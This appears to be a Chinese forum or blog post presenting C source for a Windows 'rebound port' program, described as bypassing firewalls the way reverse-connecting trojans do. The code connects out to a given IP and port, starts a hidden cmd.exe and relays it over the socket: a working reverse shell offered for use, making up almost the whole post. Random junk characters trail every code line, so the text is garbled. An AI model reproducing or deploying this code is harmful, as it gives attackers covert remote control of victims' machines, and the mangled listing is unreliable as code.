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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 UZAWh R  
1[Mr2@  
/* ============================== m9B3]H  
Rebound port in Windows NT 2\5@_U^)h  
By wind,2006/7 mmKrmM*1  
===============================*/ I] "$h]T  
#include sw@2 ?+  
#include .N+xpxdG,  
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#pragma comment(lib,"wsock32.lib")  #b"IX`5  
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void OutputShell(); ' R@<4Ib|  
SOCKET sClient; */+s^{W7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y3zO7*-@  
s]&y\Z  
void main(int argc,char **argv) %!$-N!e  
{ +|8Lt[^ux  
WSADATA stWsaData; ) k2NF="o  
int nRet; 88*RlxU  
SOCKADDR_IN stSaiClient,stSaiServer; d!LV@</  
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if(argc != 3) 7S7!  
{ aKUr":z  
printf("Useage:\n\rRebound DestIP DestPort\n"); |zT0g]WH  
return; i-=ff  
} -$kJERvy  
h9-Ky@X`  
WSAStartup(MAKEWORD(2,2),&stWsaData); y^Jv?`jw  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RQ'c~D)X  
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stSaiClient.sin_family = AF_INET; vp|=q;Q%r  
stSaiClient.sin_port = htons(0); c]n03o  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (hV"z;rI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *Fc&DQT(  
{ ;' W5|.ZN  
printf("Bind Socket Failed!\n"); +UsR  
return; PmY:sJ{M  
} 2~U+PyeNz  
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stSaiServer.sin_family = AF_INET; %Uk/P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lG+ltCc$9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ww@;9US 3  
/t^lI%&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -U $pW(~  
{ S- \lN|  
printf("Connect Error!"); 8JrGZ8Q4RM  
return; !491 \W0ZH  
} W9Lg}[>:)  
OutputShell(); V<pqc&f .  
} -Mvw'#(0  
vWovR`  
void OutputShell() htRZ}e  
{ Pb;`'<*U  
char szBuff[1024]; F)5Aq H/p  
SECURITY_ATTRIBUTES stSecurityAttributes; 79x9<,a)  
OSVERSIONINFO stOsversionInfo; 7x]nY.\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {4 d$]o0V  
STARTUPINFO stStartupInfo; %Eh%mMb^  
char *szShell; u_"h/)C'H  
PROCESS_INFORMATION stProcessInformation; 1c"m$)a4  
unsigned long lBytesRead; 4w6K|v<X  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X&~Eo  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M\6`2q  
stSecurityAttributes.lpSecurityDescriptor = 0; gc~h!%'.I  
stSecurityAttributes.bInheritHandle = TRUE; uPXqTkod  
&s;^q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +"cyOC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }_22 wjm~  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IpXhb[UZ?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \KXEw2S  
stStartupInfo.wShowWindow = SW_HIDE; z}tp0~C  
stStartupInfo.hStdInput = hReadPipe; mO> M=2A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @<=#i  
z=_{jjs  
GetVersionEx(&stOsversionInfo); tuUXW5!/  
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switch(stOsversionInfo.dwPlatformId) s3Ce]MH  
{ ]r1{%:8  
case 1: Lp)8SmN  
szShell = "command.com"; D*gV S  
break; O mIBk  
default: B/hHkOoo  
szShell = "cmd.exe"; \87J~K'  
break; z]|[VM?4L  
} 9p rsL#Fn  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7NC8<o;  
da'E"HN@G~  
send(sClient,szMsg,77,0); X/Rx]}[   
while(1) KAcri<^G  
{ 2rtP.*dd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PjW+V`  
if(lBytesRead) c\{}FGC  
{ C'2 =0oou  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Pq>[q?>?  
send(sClient,szBuff,lBytesRead,0); I 47GQho  
} HHTsHb{7  
else >m1V9A  
{ (zDk68=v  
lBytesRead=recv(sClient,szBuff,1024,0); Su$1 t  
if(lBytesRead<=0) break; G?d,$NMo|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v@uaf=x-  
} {4aY}= -Q*  
} Q]5^Eiq8  
67\Ojl~(1  
return; *>p(]_s,  
}
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